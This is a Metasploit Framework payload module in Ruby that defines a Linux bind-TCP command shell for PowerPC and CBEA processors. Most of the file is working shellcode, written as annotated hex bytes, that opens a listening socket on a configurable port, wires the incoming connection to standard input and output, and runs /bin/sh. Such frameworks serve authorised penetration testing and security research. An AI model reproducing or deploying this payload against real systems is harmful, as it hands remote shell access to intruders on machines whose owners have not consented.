##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Linux
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Linux Command Shell, Bind TCP Inline',
			'Description'   => 'Listen for a connection and spawn a command shell',
			'Author'        => 'Ramon de C Valle',
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => [ ARCH_PPC, ARCH_CBEA ],
			'Handler'       => Msf::Handler::BindTcp,
			'Session'       => Msf::Sessions::CommandShellUnix,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LPORT'    => [ 58, 'n' ],
						},
					'Payload' =>
						"\x7f\xff\xfa\x78"     +#   xor     r31,r31,r31                #
						"\x3b\xa0\x01\xff"     +#   li      r29,511                    #
						"\x3b\x9d\xfe\x02"     +#   addi    r28,r29,-510               #
						"\x3b\x7d\xfe\x03"     +#   addi    r27,r29,-509               #
						"\x97\xe1\xff\xfc"     +#   stwu    r31,-4(r1)                 #
						"\x97\x81\xff\xfc"     +#   stwu    r28,-4(r1)                 #
						"\x97\x61\xff\xfc"     +#   stwu    r27,-4(r1)                 #
						"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
						"\x38\x7d\xfe\x02"     +#   addi    r3,r29,-510                #
						"\x38\x1d\xfe\x67"     +#   addi    r0,r29,-409                #
						"\x44\xff\xff\x02"     +#   sc                                 #
						"\x7c\x7a\x1b\x78"     +#   mr      r26,r3                     #
						"\x3b\x3d\xfe\x11"     +#   addi    r25,r29,-495               #
						"\x3e\xe0\xff\x02"     +#   lis     r23,-254                   #
						"\x62\xf7\x04\xd2"     +#   ori     r23,r23,1234               #
						"\x97\xe1\xff\xfc"     +#   stwu    r31,-4(r1)                 #
						"\x96\xe1\xff\xfc"     +#   stwu    r23,-4(r1)                 #
						"\x7c\x36\x0b\x78"     +#   mr      r22,r1                     #
						"\x97\x21\xff\xfc"     +#   stwu    r25,-4(r1)                 #
						"\x96\xc1\xff\xfc"     +#   stwu    r22,-4(r1)                 #
						"\x97\x41\xff\xfc"     +#   stwu    r26,-4(r1)                 #
						"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
						"\x38\x7d\xfe\x03"     +#   addi    r3,r29,-509                #
						"\x38\x1d\xfe\x67"     +#   addi    r0,r29,-409                #
						"\x44\xff\xff\x02"     +#   sc                                 #
						"\x97\xe1\xff\xfc"     +#   stwu    r31,-4(r1)                 #
						"\x97\xe1\xff\xfc"     +#   stwu    r31,-4(r1)                 #
						"\x97\x41\xff\xfc"     +#   stwu    r26,-4(r1)                 #
						"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
						"\x38\x7d\xfe\x05"     +#   addi    r3,r29,-507                #
						"\x38\x1d\xfe\x67"     +#   addi    r0,r29,-409                #
						"\x44\xff\xff\x02"     +#   sc                                 #
						"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
						"\x38\x7d\xfe\x06"     +#   addi    r3,r29,-506                #
						"\x38\x1d\xfe\x67"     +#   addi    r0,r29,-409                #
						"\x44\xff\xff\x02"     +#   sc                                 #
						"\x7c\x75\x1b\x78"     +#   mr      r21,r3                     #
						"\x7f\x64\xdb\x78"     +#   mr      r4,r27                     #
						"\x7e\xa3\xab\x78"     +#   mr      r3,r21                     #
						"\x38\x1d\xfe\x40"     +#   addi    r0,r29,-448                #
						"\x44\xff\xff\x02"     +#   sc                                 #
						"\x37\x7b\xff\xff"     +#   addic.  r27,r27,-1                 #
						"\x40\x80\xff\xec"     +#   bge+    <bndsockcode+148>          #
						"\x7c\xa5\x2a\x79"     +#   xor.    r5,r5,r5                   #
						"\x40\x82\xff\xfd"     +#   bnel+   <bndsockcode+172>          #
						"\x7f\xc8\x02\xa6"     +#   mflr    r30                        #
						"\x3b\xde\x01\xff"     +#   addi    r30,r30,511                #
						"\x38\x7e\xfe\x25"     +#   addi    r3,r30,-475                #
						"\x98\xbe\xfe\x2c"     +#   stb     r5,-468(r30)               #
						"\x94\xa1\xff\xfc"     +#   stwu    r5,-4(r1)                  #
						"\x94\x61\xff\xfc"     +#   stwu    r3,-4(r1)                  #
						"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
						"\x38\x1d\xfe\x0c"     +#   addi    r0,r29,-500                #
						"\x44\xff\xff\x02"     +#   sc                                 #
						"/bin/sh"
				}
			))
	end

end
